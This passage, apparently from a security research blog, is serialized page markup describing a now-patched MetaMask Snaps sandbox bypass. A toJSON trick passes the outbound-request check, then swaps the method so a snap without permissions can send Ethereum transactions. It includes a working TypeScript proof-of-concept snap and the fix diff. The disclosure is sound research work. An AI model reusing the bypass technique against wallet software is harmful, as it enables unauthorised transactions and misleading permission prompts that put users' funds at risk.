'__proto__'",{"type":23,"tag":481,"props":36824,"children":36825},{"style":514},[36826],{"type":28,"value":21207},{"type":23,"tag":481,"props":36828,"children":36829},{"style":508},[36830],{"type":28,"value":36831}," propKey",{"type":23,"tag":481,"props":36833,"children":36834},{"style":514},[36835],{"type":28,"value":28937},{"type":23,"tag":481,"props":36837,"children":36838},{"style":1805},[36839],{"type":28,"value":36840}," 'constructor'",{"type":23,"tag":481,"props":36842,"children":36843},{"style":525},[36844],{"type":28,"value":12292},{"type":23,"tag":481,"props":36846,"children":36847},{"class":483,"line":812},[36848,36852,36857],{"type":23,"tag":481,"props":36849,"children":36850},{"style":535},[36851],{"type":28,"value":13234},{"type":23,"tag":481,"props":36853,"children":36854},{"style":497},[36855],{"type":28,"value":36856}," undefined",{"type":23,"tag":481,"props":36858,"children":36859},{"style":525},[36860],{"type":28,"value":528},{"type":23,"tag":481,"props":36862,"children":36863},{"class":483,"line":825},[36864],{"type":23,"tag":481,"props":36865,"children":36866},{"style":525},[36867],{"type":28,"value":10151},{"type":23,"tag":481,"props":36869,"children":36870},{"class":483,"line":843},[36871,36876,36881],{"type":23,"tag":481,"props":36872,"children":36873},{"style":535},[36874],{"type":28,"value":36875}," return",{"type":23,"tag":481,"props":36877,"children":36878},{"style":508},[36879],{"type":28,"value":36880}," propValue",{"type":23,"tag":481,"props":36882,"children":36883},{"style":525},[36884],{"type":28,"value":528},{"type":23,"tag":481,"props":36886,"children":36887},{"class":483,"line":864},[36888],{"type":23,"tag":481,"props":36889,"children":36890},{"style":525},[36891],{"type":28,"value":36063},{"type":23,"tag":481,"props":36893,"children":36894},{"class":483,"line":873},[36895],{"type":23,"tag":481,"props":36896,"children":36897},{"style":525},[36898],{"type":28,"value":35930},{"type":23,"tag":481,"props":36900,"children":36901},{"class":483,"line":1125},[36902],{"type":23,"tag":481,"props":36903,"children":36904},{"style":525},[36905],{"type":28,"value":32855},{"type":23,"tag":24,"props":36907,"children":36908},{},[36909,36911,36917,36919,36924,36926,36932,36934,36940],{"type":28,"value":36910},"The function performs a ",{"type":23,"tag":64,"props":36912,"children":36914},{"className":36913},[],[36915],{"type":28,"value":36916},"JSON.parse(JSON.stringify(value))",{"type":28,"value":36918}," in the argument sent to ",{"type":23,"tag":64,"props":36920,"children":36922},{"className":36921},[],[36923],{"type":28,"value":36594},{"type":28,"value":36925},". This specific function is how we found a way to exploit the assertion limitations. The bypass is made by setting a ",{"type":23,"tag":64,"props":36927,"children":36929},{"className":36928},[],[36930],{"type":28,"value":36931},"toJSON",{"type":28,"value":36933}," function in a legit ",{"type":23,"tag":64,"props":36935,"children":36937},{"className":36936},[],[36938],{"type":28,"value":36939},"snap.request",{"type":28,"value":36941}," argument:",{"type":23,"tag":73,"props":36943,"children":36944},{},[36945,36950,36955],{"type":23,"tag":77,"props":36946,"children":36947},{},[36948],{"type":28,"value":36949},"assertSnapOutboundRequest(args) -> pass the assertion",{"type":23,"tag":77,"props":36951,"children":36952},{},[36953],{"type":28,"value":36954},"sanitizedArgs = getSafeJson(args) -> toJSON returns a malicious object",{"type":23,"tag":77,"props":36956,"children":36957},{},[36958],{"type":28,"value":36959},"originalRequest(sanitizedArgs) -> forwards the malicious object",{"type":23,"tag":24,"props":36961,"children":36962},{},[36963],{"type":28,"value":36964},"The assertion bypass can be useful on two occasions:",{"type":23,"tag":73,"props":36966,"children":36967},{},[36968,36973],{"type":23,"tag":77,"props":36969,"children":36970},{},[36971],{"type":28,"value":36972},"forward blocked RPC methods",{"type":23,"tag":77,"props":36974,"children":36975},{},[36976,36978,36983,36985,36991,36993,36998],{"type":28,"value":36977},"Making requests in ",{"type":23,"tag":64,"props":36979,"children":36981},{"className":36980},[],[36982],{"type":28,"value":36939},{"type":28,"value":36984}," that were only supposed to be done within ",{"type":23,"tag":64,"props":36986,"children":36988},{"className":36987},[],[36989],{"type":28,"value":36990},"ethereum.request",{"type":28,"value":36992}," (with ",{"type":23,"tag":64,"props":36994,"children":36996},{"className":36995},[],[36997],{"type":28,"value":36167},{"type":28,"value":36999}," enabled).",{"type":23,"tag":24,"props":37001,"children":37002},{},[37003],{"type":28,"value":37004},"This particular vulnerability allows the snap to perform ethereum requests without permissions.",{"type":23,"tag":7092,"props":37006,"children":37007},{"id":306},[37008],{"type":28,"value":309},{"type":23,"tag":24,"props":37010,"children":37011},{},[37012],{"type":28,"value":37013},"The bypass we described may be used to mislead the allowed permissions of the snap. This can cause the snap installation confirmation popup not to display the actual permissions of the snap. This exploit allows the snap to unexpectedly propose malicious transactions to the user, which shouldn't be possible, even with permissions according to the documentation.",{"type":23,"tag":24,"props":37015,"children":37016},{},[37017],{"type":23,"tag":149,"props":37018,"children":37020},{"alt":7,"src":37019},"/posts/metamask-snaps/note.png",[],{"type":23,"tag":7092,"props":37022,"children":37024},{"id":37023},"proof-of-concept",[37025],{"type":28,"value":32346},{"type":23,"tag":24,"props":37027,"children":37028},{},[37029,37031,37036,37038,37043,37045,37051],{"type":28,"value":37030},"To demonstrate the issue, we created a snap without the ",{"type":23,"tag":64,"props":37032,"children":37034},{"className":37033},[],[37035],{"type":28,"value":36167},{"type":28,"value":37037}," permission, and used the ",{"type":23,"tag":64,"props":37039,"children":37041},{"className":37040},[],[37042],{"type":28,"value":35696},{"type":28,"value":37044}," interface to call ",{"type":23,"tag":64,"props":37046,"children":37048},{"className":37047},[],[37049],{"type":28,"value":37050},"eth_sendTransaction",{"type":28,"value":37052},". According to the documentation, this shouldn't be possible:",{"type":23,"tag":435,"props":37054,"children":37056},{"className":33131,"code":37055,"language":33133,"meta":7,"style":7},"import { OnRpcRequestHandler } from '@metamask/snaps-types';\n\n\nfunction jsonExploit(){\n let x = [] as any\n\n x.method = \"snap_dialog\"\n\n x.toJSON = () => {\n return {\n method: \"eth_requestAccounts\",\n params: []\n }\n }\n\n return snap.request(x)\n\n}\n\nfunction transactionExploit(){\n let x = [] as any\n\n x.method = \"snap_dialog\"\n\n x.toJSON = () => {\n return {\n method: \"eth_sendTransaction\",\n params: [{\n from: \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\", // change this to your address\n to: \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\",\n value: \"0x1\",\n }]\n }\n }\n\n return snap.request(x);\n}\n\nexport const onRpcRequest: OnRpcRequestHandler = ({ origin, request }) => {\n\n switch (request.method) {\n case 'json':\n return jsonExploit();\n case 'transaction':\n return transactionExploit();\n default:\n throw new Error('Method not found.');\n }\n};\n",[37057],{"type":23,"tag":64,"props":37058,"children":37059},{"__ignoreMap":7},[37060,37093,37100,37107,37124,37153,37160,37185,37192,37224,37235,37252,37265,37272,37279,37286,37318,37325,37332,37339,37355,37382,37389,37412,37419,37450,37461,37477,37489,37510,37525,37542,37550,37557,37564,37571,37602,37609,37616,37676,37683,37711,37728,37743,37759,37774,37786,37816,37823],{"type":23,"tag":481,"props":37061,"children":37062},{"class":483,"line":484},[37063,37067,37071,37076,37080,37084,37089],{"type":23,"tag":481,"props":37064,"children":37065},{"style":535},[37066],{"type":28,"value":16980},{"type":23,"tag":481,"props":37068,"children":37069},{"style":525},[37070],{"type":28,"value":7069},{"type":23,"tag":481,"props":37072,"children":37073},{"style":508},[37074],{"type":28,"value":37075},"OnRpcRequestHandler",{"type":23,"tag":481,"props":37077,"children":37078},{"style":525},[37079],{"type":28,"value":33720},{"type":23,"tag":481,"props":37081,"children":37082},{"style":535},[37083],{"type":28,"value":16970},{"type":23,"tag":481,"props":37085,"children":37086},{"style":1805},[37087],{"type":28,"value":37088}," '@metamask/snaps-types'",{"type":23,"tag":481,"props":37090,"children":37091},{"style":525},[37092],{"type":28,"value":528},{"type":23,"tag":481,"props":37094,"children":37095},{"class":483,"line":351},[37096],{"type":23,"tag":481,"props":37097,"children":37098},{"emptyLinePlaceholder":15},[37099],{"type":28,"value":1210},{"type":23,"tag":481,"props":37101,"children":37102},{"class":483,"line":531},[37103],{"type":23,"tag":481,"props":37104,"children":37105},{"emptyLinePlaceholder":15},[37106],{"type":28,"value":1210},{"type":23,"tag":481,"props":37108,"children":37109},{"class":483,"line":567},[37110,37114,37119],{"type":23,"tag":481,"props":37111,"children":37112},{"style":497},[37113],{"type":28,"value":28892},{"type":23,"tag":481,"props":37115,"children":37116},{"style":610},[37117],{"type":28,"value":37118}," jsonExploit",{"type":23,"tag":481,"props":37120,"children":37121},{"style":525},[37122],{"type":28,"value":37123},"(){\n",{"type":23,"tag":481,"props":37125,"children":37126},{"class":483,"line":678},[37127,37131,37135,37139,37144,37148],{"type":23,"tag":481,"props":37128,"children":37129},{"style":497},[37130],{"type":28,"value":5334},{"type":23,"tag":481,"props":37132,"children":37133},{"style":508},[37134],{"type":28,"value":16561},{"type":23,"tag":481,"props":37136,"children":37137},{"style":514},[37138],{"type":28,"value":517},{"type":23,"tag":481,"props":37140,"children":37141},{"style":525},[37142],{"type":28,"value":37143}," [] ",{"type":23,"tag":481,"props":37145,"children":37146},{"style":535},[37147],{"type":28,"value":6322},{"type":23,"tag":481,"props":37149,"children":37150},{"style":943},[37151],{"type":28,"value":37152}," any\n",{"type":23,"tag":481,"props":37154,"children":37155},{"class":483,"line":784},[37156],{"type":23,"tag":481,"props":37157,"children":37158},{"emptyLinePlaceholder":15},[37159],{"type":28,"value":1210},{"type":23,"tag":481,"props":37161,"children":37162},{"class":483,"line":812},[37163,37168,37172,37176,37180],{"type":23,"tag":481,"props":37164,"children":37165},{"style":508},[37166],{"type":28,"value":37167}," x",{"type":23,"tag":481,"props":37169,"children":37170},{"style":525},[37171],{"type":28,"value":199},{"type":23,"tag":481,"props":37173,"children":37174},{"style":508},[37175],{"type":28,"value":35831},{"type":23,"tag":481,"props":37177,"children":37178},{"style":514},[37179],{"type":28,"value":517},{"type":23,"tag":481,"props":37181,"children":37182},{"style":1805},[37183],{"type":28,"value":37184}," \"snap_dialog\"\n",{"type":23,"tag":481,"props":37186,"children":37187},{"class":483,"line":825},[37188],{"type":23,"tag":481,"props":37189,"children":37190},{"emptyLinePlaceholder":15},[37191],{"type":28,"value":1210},{"type":23,"tag":481,"props":37193,"children":37194},{"class":483,"line":843},[37195,37199,37203,37207,37211,37216,37220],{"type":23,"tag":481,"props":37196,"children":37197},{"style":508},[37198],{"type":28,"value":37167},{"type":23,"tag":481,"props":37200,"children":37201},{"style":525},[37202],{"type":28,"value":199},{"type":23,"tag":481,"props":37204,"children":37205},{"style":610},[37206],{"type":28,"value":36931},{"type":23,"tag":481,"props":37208,"children":37209},{"style":514},[37210],{"type":28,"value":517},{"type":23,"tag":481,"props":37212,"children":37213},{"style":525},[37214],{"type":28,"value":37215}," () ",{"type":23,"tag":481,"props":37217,"children":37218},{"style":497},[37219],{"type":28,"value":12310},{"type":23,"tag":481,"props":37221,"children":37222},{"style":525},[37223],{"type":28,"value":809},{"type":23,"tag":481,"props":37225,"children":37226},{"class":483,"line":864},[37227,37231],{"type":23,"tag":481,"props":37228,"children":37229},{"style":535},[37230],{"type":28,"value":14481},{"type":23,"tag":481,"props":37232,"children":37233},{"style":525},[37234],{"type":28,"value":809},{"type":23,"tag":481,"props":37236,"children":37237},{"class":483,"line":873},[37238,37243,37248],{"type":23,"tag":481,"props":37239,"children":37240},{"style":508},[37241],{"type":28,"value":37242}," method:",{"type":23,"tag":481,"props":37244,"children":37245},{"style":1805},[37246],{"type":28,"value":37247}," \"eth_requestAccounts\"",{"type":23,"tag":481,"props":37249,"children":37250},{"style":525},[37251],{"type":28,"value":1033},{"type":23,"tag":481,"props":37253,"children":37254},{"class":483,"line":1125},[37255,37260],{"type":23,"tag":481,"props":37256,"children":37257},{"style":508},[37258],{"type":28,"value":37259}," params:",{"type":23,"tag":481,"props":37261,"children":37262},{"style":525},[37263],{"type":28,"value":37264}," []\n",{"type":23,"tag":481,"props":37266,"children":37267},{"class":483,"line":1142},[37268],{"type":23,"tag":481,"props":37269,"children":37270},{"style":525},[37271],{"type":28,"value":879},{"type":23,"tag":481,"props":37273,"children":37274},{"class":483,"line":1159},[37275],{"type":23,"tag":481,"props":37276,"children":37277},{"style":525},[37278],{"type":28,"value":3348},{"type":23,"tag":481,"props":37280,"children":37281},{"class":483,"line":1172},[37282],{"type":23,"tag":481,"props":37283,"children":37284},{"emptyLinePlaceholder":15},[37285],{"type":28,"value":1210},{"type":23,"tag":481,"props":37287,"children":37288},{"class":483,"line":1181},[37289,37293,37298,37302,37306,37310,37314],{"type":23,"tag":481,"props":37290,"children":37291},{"style":535},[37292],{"type":28,"value":36717},{"type":23,"tag":481,"props":37294,"children":37295},{"style":508},[37296],{"type":28,"value":37297}," snap",{"type":23,"tag":481,"props":37299,"children":37300},{"style":525},[37301],{"type":28,"value":199},{"type":23,"tag":481,"props":37303,"children":37304},{"style":610},[37305],{"type":28,"value":29008},{"type":23,"tag":481,"props":37307,"children":37308},{"style":525},[37309],{"type":28,"value":618},{"type":23,"tag":481,"props":37311,"children":37312},{"style":508},[37313],{"type":28,"value":16772},{"type":23,"tag":481,"props":37315,"children":37316},{"style":525},[37317],{"type":28,"value":675},{"type":23,"tag":481,"props":37319,"children":37320},{"class":483,"line":1204},[37321],{"type":23,"tag":481,"props":37322,"children":37323},{"emptyLinePlaceholder":15},[37324],{"type":28,"value":1210},{"type":23,"tag":481,"props":37326,"children":37327},{"class":483,"line":1213},[37328],{"type":23,"tag":481,"props":37329,"children":37330},{"style":525},[37331],{"type":28,"value":1443},{"type":23,"tag":481,"props":37333,"children":37334},{"class":483,"line":1222},[37335],{"type":23,"tag":481,"props":37336,"children":37337},{"emptyLinePlaceholder":15},[37338],{"type":28,"value":1210},{"type":23,"tag":481,"props":37340,"children":37341},{"class":483,"line":1291},[37342,37346,37351],{"type":23,"tag":481,"props":37343,"children":37344},{"style":497},[37345],{"type":28,"value":28892},{"type":23,"tag":481,"props":37347,"children":37348},{"style":610},[37349],{"type":28,"value":37350}," transactionExploit",{"type":23,"tag":481,"props":37352,"children":37353},{"style":525},[37354],{"type":28,"value":37123},{"type":23,"tag":481,"props":37356,"children":37357},{"class":483,"line":1299},[37358,37362,37366,37370,37374,37378],{"type":23,"tag":481,"props":37359,"children":37360},{"style":497},[37361],{"type":28,"value":5334},{"type":23,"tag":481,"props":37363,"children":37364},{"style":508},[37365],{"type":28,"value":16561},{"type":23,"tag":481,"props":37367,"children":37368},{"style":514},[37369],{"type":28,"value":517},{"type":23,"tag":481,"props":37371,"children":37372},{"style":525},[37373],{"type":28,"value":37143},{"type":23,"tag":481,"props":37375,"children":37376},{"style":535},[37377],{"type":28,"value":6322},{"type":23,"tag":481,"props":37379,"children":37380},{"style":943},[37381],{"type":28,"value":37152},{"type":23,"tag":481,"props":37383,"children":37384},{"class":483,"line":1329},[37385],{"type":23,"tag":481,"props":37386,"children":37387},{"emptyLinePlaceholder":15},[37388],{"type":28,"value":1210},{"type":23,"tag":481,"props":37390,"children":37391},{"class":483,"line":1337},[37392,37396,37400,37404,37408],{"type":23,"tag":481,"props":37393,"children":37394},{"style":508},[37395],{"type":28,"value":37167},{"type":23,"tag":481,"props":37397,"children":37398},{"style":525},[37399],{"type":28,"value":199},{"type":23,"tag":481,"props":37401,"children":37402},{"style":508},[37403],{"type":28,"value":35831},{"type":23,"tag":481,"props":37405,"children":37406},{"style":514},[37407],{"type":28,"value":517},{"type":23,"tag":481,"props":37409,"children":37410},{"style":1805},[37411],{"type":28,"value":37184},{"type":23,"tag":481,"props":37413,"children":37414},{"class":483,"line":1369},[37415],{"type":23,"tag":481,"props":37416,"children":37417},{"emptyLinePlaceholder":15},[37418],{"type":28,"value":1210},{"type":23,"tag":481,"props":37420,"children":37421},{"class":483,"line":1377},[37422,37426,37430,37434,37438,37442,37446],{"type":23,"tag":481,"props":37423,"children":37424},{"style":508},[37425],{"type":28,"value":37167},{"type":23,"tag":481,"props":37427,"children":37428},{"style":525},[37429],{"type":28,"value":199},{"type":23,"tag":481,"props":37431,"children":37432},{"style":610},[37433],{"type":28,"value":36931},{"type":23,"tag":481,"props":37435,"children":37436},{"style":514},[37437],{"type":28,"value":517},{"type":23,"tag":481,"props":37439,"children":37440},{"style":525},[37441],{"type":28,"value":37215},{"type":23,"tag":481,"props":37443,"children":37444},{"style":497},[37445],{"type":28,"value":12310},{"type":23,"tag":481,"props":37447,"children":37448},{"style":525},[37449],{"type":28,"value":809},{"type":23,"tag":481,"props":37451,"children":37452},{"class":483,"line":1437},[37453,37457],{"type":23,"tag":481,"props":37454,"children":37455},{"style":535},[37456],{"type":28,"value":14481},{"type":23,"tag":481,"props":37458,"children":37459},{"style":525},[37460],{"type":28,"value":809},{"type":23,"tag":481,"props":37462,"children":37463},{"class":483,"line":6528},[37464,37468,37473],{"type":23,"tag":481,"props":37465,"children":37466},{"style":508},[37467],{"type":28,"value":37242},{"type":23,"tag":481,"props":37469,"children":37470},{"style":1805},[37471],{"type":28,"value":37472}," \"eth_sendTransaction\"",{"type":23,"tag":481,"props":37474,"children":37475},{"style":525},[37476],{"type":28,"value":1033},{"type":23,"tag":481,"props":37478,"children":37479},{"class":483,"line":6546},[37480,37484],{"type":23,"tag":481,"props":37481,"children":37482},{"style":508},[37483],{"type":28,"value":37259},{"type":23,"tag":481,"props":37485,"children":37486},{"style":525},[37487],{"type":28,"value":37488}," [{\n",{"type":23,"tag":481,"props":37490,"children":37491},{"class":483,"line":6591},[37492,37496,37501,37505],{"type":23,"tag":481,"props":37493,"children":37494},{"style":508},[37495],{"type":28,"value":29580},{"type":23,"tag":481,"props":37497,"children":37498},{"style":1805},[37499],{"type":28,"value":37500}," \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\"",{"type":23,"tag":481,"props":37502,"children":37503},{"style":525},[37504],{"type":28,"value":588},{"type":23,"tag":481,"props":37506,"children":37507},{"style":488},[37508],{"type":28,"value":37509},"// change this to your address\n",{"type":23,"tag":481,"props":37511,"children":37512},{"class":483,"line":6697},[37513,37517,37521],{"type":23,"tag":481,"props":37514,"children":37515},{"style":508},[37516],{"type":28,"value":29596},{"type":23,"tag":481,"props":37518,"children":37519},{"style":1805},[37520],{"type":28,"value":37500},{"type":23,"tag":481,"props":37522,"children":37523},{"style":525},[37524],{"type":28,"value":1033},{"type":23,"tag":481,"props":37526,"children":37527},{"class":483,"line":21008},[37528,37533,37538],{"type":23,"tag":481,"props":37529,"children":37530},{"style":508},[37531],{"type":28,"value":37532}," value:",{"type":23,"tag":481,"props":37534,"children":37535},{"style":1805},[37536],{"type":28,"value":37537}," \"0x1\"",{"type":23,"tag":481,"props":37539,"children":37540},{"style":525},[37541],{"type":28,"value":1033},{"type":23,"tag":481,"props":37543,"children":37544},{"class":483,"line":21043},[37545],{"type":23,"tag":481,"props":37546,"children":37547},{"style":525},[37548],{"type":28,"value":37549}," }]\n",{"type":23,"tag":481,"props":37551,"children":37552},{"class":483,"line":21051},[37553],{"type":23,"tag":481,"props":37554,"children":37555},{"style":525},[37556],{"type":28,"value":879},{"type":23,"tag":481,"props":37558,"children":37559},{"class":483,"line":21059},[37560],{"type":23,"tag":481,"props":37561,"children":37562},{"style":525},[37563],{"type":28,"value":3348},{"type":23,"tag":481,"props":37565,"children":37566},{"class":483,"line":21068},[37567],{"type":23,"tag":481,"props":37568,"children":37569},{"emptyLinePlaceholder":15},[37570],{"type":28,"value":1210},{"type":23,"tag":481,"props":37572,"children":37573},{"class":483,"line":21110},[37574,37578,37582,37586,37590,37594,37598],{"type":23,"tag":481,"props":37575,"children":37576},{"style":535},[37577],{"type":28,"value":36717},{"type":23,"tag":481,"props":37579,"children":37580},{"style":508},[37581],{"type":28,"value":37297},{"type":23,"tag":481,"props":37583,"children":37584},{"style":525},[37585],{"type":28,"value":199},{"type":23,"tag":481,"props":37587,"children":37588},{"style":610},[37589],{"type":28,"value":29008},{"type":23,"tag":481,"props":37591,"children":37592},{"style":525},[37593],{"type":28,"value":618},{"type":23,"tag":481,"props":37595,"children":37596},{"style":508},[37597],{"type":28,"value":16772},{"type":23,"tag":481,"props":37599,"children":37600},{"style":525},[37601],{"type":28,"value":1366},{"type":23,"tag":481,"props":37603,"children":37604},{"class":483,"line":21143},[37605],{"type":23,"tag":481,"props":37606,"children":37607},{"style":525},[37608],{"type":28,"value":1443},{"type":23,"tag":481,"props":37610,"children":37611},{"class":483,"line":21151},[37612],{"type":23,"tag":481,"props":37613,"children":37614},{"emptyLinePlaceholder":15},[37615],{"type":28,"value":1210},{"type":23,"tag":481,"props":37617,"children":37618},{"class":483,"line":21159},[37619,37623,37627,37632,37636,37641,37645,37650,37655,37659,37663,37668,37672],{"type":23,"tag":481,"props":37620,"children":37621},{"style":535},[37622],{"type":28,"value":35727},{"type":23,"tag":481,"props":37624,"children":37625},{"style":497},[37626],{"type":28,"value":36629},{"type":23,"tag":481,"props":37628,"children":37629},{"style":610},[37630],{"type":28,"value":37631}," onRpcRequest",{"type":23,"tag":481,"props":37633,"children":37634},{"style":514},[37635],{"type":28,"value":287},{"type":23,"tag":481,"props":37637,"children":37638},{"style":943},[37639],{"type":28,"value":37640}," OnRpcRequestHandler",{"type":23,"tag":481,"props":37642,"children":37643},{"style":514},[37644],{"type":28,"value":517},{"type":23,"tag":481,"props":37646,"children":37647},{"style":525},[37648],{"type":28,"value":37649}," ({ ",{"type":23,"tag":481,"props":37651,"children":37652},{"style":508},[37653],{"type":28,"value":37654},"origin",{"type":23,"tag":481,"props":37656,"children":37657},{"style":525},[37658],{"type":28,"value":588},{"type":23,"tag":481,"props":37660,"children":37661},{"style":508},[37662],{"type":28,"value":29008},{"type":23,"tag":481,"props":37664,"children":37665},{"style":525},[37666],{"type":28,"value":37667}," }) ",{"type":23,"tag":481,"props":37669,"children":37670},{"style":497},[37671],{"type":28,"value":12310},{"type":23,"tag":481,"props":37673,"children":37674},{"style":525},[37675],{"type":28,"value":809},{"type":23,"tag":481,"props":37677,"children":37678},{"class":483,"line":21168},[37679],{"type":23,"tag":481,"props":37680,"children":37681},{"emptyLinePlaceholder":15},[37682],{"type":28,"value":1210},{"type":23,"tag":481,"props":37684,"children":37685},{"class":483,"line":21244},[37686,37691,37695,37699,37703,37707],{"type":23,"tag":481,"props":37687,"children":37688},{"style":535},[37689],{"type":28,"value":37690}," switch",{"type":23,"tag":481,"props":37692,"children":37693},{"style":525},[37694],{"type":28,"value":578},{"type":23,"tag":481,"props":37696,"children":37697},{"style":508},[37698],{"type":28,"value":29008},{"type":23,"tag":481,"props":37700,"children":37701},{"style":525},[37702],{"type":28,"value":199},{"type":23,"tag":481,"props":37704,"children":37705},{"style":508},[37706],{"type":28,"value":35831},{"type":23,"tag":481,"props":37708,"children":37709},{"style":525},[37710],{"type":28,"value":12292},{"type":23,"tag":481,"props":37712,"children":37713},{"class":483,"line":21277},[37714,37719,37724],{"type":23,"tag":481,"props":37715,"children":37716},{"style":535},[37717],{"type":28,"value":37718}," case",{"type":23,"tag":481,"props":37720,"children":37721},{"style":1805},[37722],{"type":28,"value":37723}," 'json'",{"type":23,"tag":481,"props":37725,"children":37726},{"style":525},[37727],{"type":28,"value":211},{"type":23,"tag":481,"props":37729,"children":37730},{"class":483,"line":21285},[37731,37735,37739],{"type":23,"tag":481,"props":37732,"children":37733},{"style":535},[37734],{"type":28,"value":36875},{"type":23,"tag":481,"props":37736,"children":37737},{"style":610},[37738],{"type":28,"value":37118},{"type":23,"tag":481,"props":37740,"children":37741},{"style":525},[37742],{"type":28,"value":1201},{"type":23,"tag":481,"props":37744,"children":37745},{"class":483,"line":21293},[37746,37750,37755],{"type":23,"tag":481,"props":37747,"children":37748},{"style":535},[37749],{"type":28,"value":37718},{"type":23,"tag":481,"props":37751,"children":37752},{"style":1805},[37753],{"type":28,"value":37754}," 'transaction'",{"type":23,"tag":481,"props":37756,"children":37757},{"style":525},[37758],{"type":28,"value":211},{"type":23,"tag":481,"props":37760,"children":37761},{"class":483,"line":21330},[37762,37766,37770],{"type":23,"tag":481,"props":37763,"children":37764},{"style":535},[37765],{"type":28,"value":36875},{"type":23,"tag":481,"props":37767,"children":37768},{"style":610},[37769],{"type":28,"value":37350},{"type":23,"tag":481,"props":37771,"children":37772},{"style":525},[37773],{"type":28,"value":1201},{"type":23,"tag":481,"props":37775,"children":37776},{"class":483,"line":21343},[37777,37782],{"type":23,"tag":481,"props":37778,"children":37779},{"style":535},[37780],{"type":28,"value":37781}," default",{"type":23,"tag":481,"props":37783,"children":37784},{"style":525},[37785],{"type":28,"value":211},{"type":23,"tag":481,"props":37787,"children":37788},{"class":483,"line":21356},[37789,37794,37798,37803,37807,37812],{"type":23,"tag":481,"props":37790,"children":37791},{"style":535},[37792],{"type":28,"value":37793}," throw",{"type":23,"tag":481,"props":37795,"children":37796},{"style":497},[37797],{"type":28,"value":29448},{"type":23,"tag":481,"props":37799,"children":37800},{"style":610},[37801],{"type":28,"value":37802}," Error",{"type":23,"tag":481,"props":37804,"children":37805},{"style":525},[37806],{"type":28,"value":618},{"type":23,"tag":481,"props":37808,"children":37809},{"style":1805},[37810],{"type":28,"value":37811},"'Method not found.'",{"type":23,"tag":481,"props":37813,"children":37814},{"style":525},[37815],{"type":28,"value":1366},{"type":23,"tag":481,"props":37817,"children":37818},{"class":483,"line":21369},[37819],{"type":23,"tag":481,"props":37820,"children":37821},{"style":525},[37822],{"type":28,"value":3348},{"type":23,"tag":481,"props":37824,"children":37825},{"class":483,"line":21423},[37826],{"type":23,"tag":481,"props":37827,"children":37828},{"style":525},[37829],{"type":28,"value":14068},{"type":23,"tag":24,"props":37831,"children":37832},{},[37833,37835,37841,37843,37848],{"type":28,"value":37834},"We set ",{"type":23,"tag":64,"props":37836,"children":37838},{"className":37837},[],[37839],{"type":28,"value":37840},"x.method = \"snap_dialog\"",{"type":28,"value":37842}," to pass the assertion and setup a toJSON function to change this method to ",{"type":23,"tag":64,"props":37844,"children":37846},{"className":37845},[],[37847],{"type":28,"value":37050},{"type":28,"value":37849}," after.",{"type":23,"tag":7092,"props":37851,"children":37853},{"id":37852},"mitigation",[37854],{"type":28,"value":37855},"Mitigation",{"type":23,"tag":24,"props":37857,"children":37858},{},[37859,37861,37866,37868,37875],{"type":28,"value":37860},"Metamask mitigated this issue by asserting the arguments after the ",{"type":23,"tag":64,"props":37862,"children":37864},{"className":37863},[],[37865],{"type":28,"value":36594},{"type":28,"value":37867}," function execution. The patch was introduced on commit ",{"type":23,"tag":190,"props":37869,"children":37872},{"href":37870,"rel":37871},"https://github.com/MetaMask/snaps/pull/1762/commits/168ff082102a65e2aad428f44c5b10f9a100c689",[194],[37873],{"type":28,"value":37874},"168ff08",{"type":28,"value":37876}," with the following changes:",{"type":23,"tag":435,"props":37878,"children":37882},{"className":37879,"code":37880,"language":37881,"meta":7,"style":7},"language-diff shiki shiki-themes slack-dark","const request = async (args: RequestArguments) => {\n- assertEthereumOutboundRequest(args);\n- const sanitizedArgs = getSafeJson(args);\n+ const sanitizedArgs = getSafeJson(args) as RequestArguments;\n+ assertEthereumOutboundRequest(sanitizedArgs);\n","diff",[37883],{"type":23,"tag":64,"props":37884,"children":37885},{"__ignoreMap":7},[37886,37894,37902,37910,37918],{"type":23,"tag":481,"props":37887,"children":37888},{"class":483,"line":484},[37889],{"type":23,"tag":481,"props":37890,"children":37891},{"style":525},[37892],{"type":28,"value":37893},"const request = async (args: RequestArguments) => {\n",{"type":23,"tag":481,"props":37895,"children":37896},{"class":483,"line":351},[37897],{"type":23,"tag":481,"props":37898,"children":37899},{"style":1805},[37900],{"type":28,"value":37901},"- assertEthereumOutboundRequest(args);\n",{"type":23,"tag":481,"props":37903,"children":37904},{"class":483,"line":531},[37905],{"type":23,"tag":481,"props":37906,"children":37907},{"style":1805},[37908],{"type":28,"value":37909},"- const sanitizedArgs = getSafeJson(args);\n",{"type":23,"tag":481,"props":37911,"children":37912},{"class":483,"line":567},[37913],{"type":23,"tag":481,"props":37914,"children":37915},{"style":551},[37916],{"type":28,"value":37917},"+ const sanitizedArgs = getSafeJson(args) as RequestArguments;\n",{"type":23,"tag":481,"props":37919,"children":37920},{"class":483,"line":678},[37921],{"type":23,"tag":481,"props":37922,"children":37923},{"style":551},[37924],{"type":28,"value":37925},"+ assertEthereumOutboundRequest(sanitizedArgs);\n",{"type":23,"tag":31,"props":37927,"children":37928},{"id":26445},[37929],{"type":28,"value":16443},{"type":23,"tag":24,"props":37931,"children":37932},{},[37933],{"type":28,"value":37934},"This unique property spoofing vulnerability in the Snaps sandboxing implementation illustrates the wide range of control attackers have in Javascript, which makes designing robust sandbox implementations an extremely complex task.",{"type":23,"tag":24,"props":37936,"children":37937},{},[37938],{"type":28,"value":37939},"Metamask has implemented numerous layers to mitigate potential exploits, and we're proud to help contribute to making Snaps more secure.",{"type":23,"tag":2918,"props":37941,"children":37942},{},[37943],{"type":28,"value":2922},{"title":7,"searchDepth":351,"depth":351,"links":37945},[37946,37947,37954,37962],{"id":16452,"depth":351,"text":16455},{"id":32970,"depth":351,"text":32973,"children":37948},[37949,37950,37951,37952,37953],{"id":32981,"depth":531,"text":32984},{"id":33049,"depth":531,"text":33052},{"id":33085,"depth":531,"text":33088},{"id":34481,"depth":531,"text":34484},{"id":34839,"depth":531,"text":34842},{"id":35626,"depth":351,"text":35629,"children":37955},[37956,37957,37958,37959,37960,37961],{"id":35632,"depth":531,"text":35635},{"id":35676,"depth":531,"text":35679},{"id":36580,"depth":531,"text":36583},{"id":306,"depth":531,"text":309},{"id":37023,"depth":531,"text":32346},{"id":37852,"depth":531,"text":37855},{"id":26445,"depth":351,"text":16443},"content:blog:2023-11-01-metamask-snaps.md","blog/2023-11-01-metamask-snaps.md","blog/2023-11-01-metamask-snaps",{"_path":37967,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":37968,"description":37969,"author":37970,"image":37972